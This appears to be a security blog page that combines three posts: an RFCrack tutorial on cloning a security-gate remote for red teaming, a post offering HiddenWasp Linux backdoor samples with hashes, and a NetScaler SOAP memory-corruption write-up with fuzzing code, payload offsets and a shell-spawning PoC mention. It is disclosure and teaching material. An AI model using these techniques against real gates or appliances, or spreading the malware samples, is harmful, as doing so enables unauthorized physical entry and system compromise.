Monday, August 31, 2020

Hacking Everything With RF And Software Defined Radio - Part 3


Reversing Device Signals with RFCrack for Red Teaming


This blog was researched and automated by:
@Ficti0n 
@GarrGhar 
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com 
CC Labs: http://cclabs.io

CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack


Contrived Scenario: 

Bob was tasked to break into XYZ  corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look. 

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.  Interestingly there was some kind of wireless technology in use. 

How do we go from watching a car go through a gate, to having a physical device that opens the gate?  

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.  Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack. 

Items used in this blog: 

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


 







Walkthrough Video: 




Remotely sniffing signals for later analysis: 

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious. 

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations. 




RFCrack Scanning: 

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.  If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance. 

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds


Example of logging output: 

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.  For example the following captures were found in the log file in an easily parseable format: 

Destroy:RFCrack ficti0n$ cd scanning_logs/
Destroy:scanning_logs ficti0n$ ls
Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log
Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log
A signal was found on :390000000
c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000
A signal was found on :390000000
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000



Analyzing the signal to determine toggle switches: 

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.  Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route. 

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below. 



Let RFCrack Plot the Signal For you: 

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.  This saves time and allows you to use only one piece of hardware for all of the work.  This can easily be done with the following command: 

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c
-n = No yardstick attached
-g = graph a single signal
-u = Use this piece of data




From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above: 

Possible toggle switch scenarios:

  1. down down up up up down down down down
  2. up up down down down up up up up 

Configuring a remote: 

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.  In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.  

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal. 


Comparing Signals: 

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.  

Note:  Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz. 

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack: 

Open up 2 terminals and use the following commands: 

#Setup a sniffer on 390mhz
  Setup sniffer:      python RFCrack.py -k -c -f 390000000.     
#Monitor the log file, and provide the gates original signal
  Setup Analysis:     python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.  

Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)




Analyze Your Clicks: 

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.  If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.  We don't care about those signals since they don't pertain to our target. 

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.  It will always graph the highest percentage within a click.  Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data. 

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test. 

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png


Graph Comparison Output for 97% Match: 







Conclusion: 


You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.  This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze  RF signals within embedded devices. There are many scenarios these same techniques could assist in.  We also covered a few new features in RF crack regarding logging, graphing and comparing signals.  These are just a few of the features which have been added since the initial release. For more info and other features check the wiki. 

Related news


HiddenWasp Linux Malware Backdoor Samples



Here are Hidden Wasp Linux backdoor samples. 

Enjoy



Reference




Intezer HiddenWasp Malware Stings Targeted Linux Systems 




Download



File informatio


8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b
8f1c51c4963c0bad6cf04444feb411d7
 shell

f321685342fa373c33eb9479176a086a1c56c90a1826a0aef3450809ffc01e5d
52137157fdf019145d7f524d1da884d7
elf

f38ab11c28e944536e00ca14954df5f4d08c1222811fef49baded5009bbbc9a2
ba02a964d08c2afe41963bf897d385e7
shell

e9e2e84ed423bfc8e82eb434cede5c9568ab44e7af410a85e5d5eb24b1e622e3
cbcda5c0dba07faced5f4641aab1e2cd
 elf shared-lib

d66bbbccd19587e67632585d0ac944e34e4d5fa2b9f3bb3f900f517c7bbf518b
2b13e6f7d9fafd2eca809bba4b5ea9a6
64bits elf shared-lib

2ea291aeb0905c31716fe5e39ff111724a3c461e3029830d2bfa77c1b3656fc0
568d1ebd8b6fb17744d3c70837e801b9
shell

8e3b92e49447a67ed32b3afadbc24c51975ff22acbd0cf8090b078c0a4a7b53d
33c3f807caea64293add29719596f156
 shell

609bbf4ccc2cb0fcbe0d5891eea7d97a05a0b29431c468bf3badd83fc4414578
71d78c97eb0735ec6152a6ff6725b9b2
tar-bundle gzip contains-elf

d596acc70426a16760a2b2cc78ca2cc65c5a23bb79316627c0b2e16489bf86c0
6d1cd68384de9839357a8be27894182b
 tar-bundle gzip

0fe1248ecab199bee383cef69f2de77d33b269ad1664127b366a4e745b1199c8
5b134e0a1a89a6c85f13e08e82ea35c3
64bits elf 
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Sunday, August 30, 2020

Scaling The NetScaler


A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd 
# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>
It wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:




So I grep'd through the application code looking for any calls to this service and got a hit:
root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"


/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php
protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:
root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:





According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:




I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:
import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()


Which provided the following awesome log entry in the Netscaler VM window:



Loading the dump up in gdb we get the following (promising looking):


And the current instruction it is trying to call:



An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:





Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 
resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:


The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:




If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:


A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure


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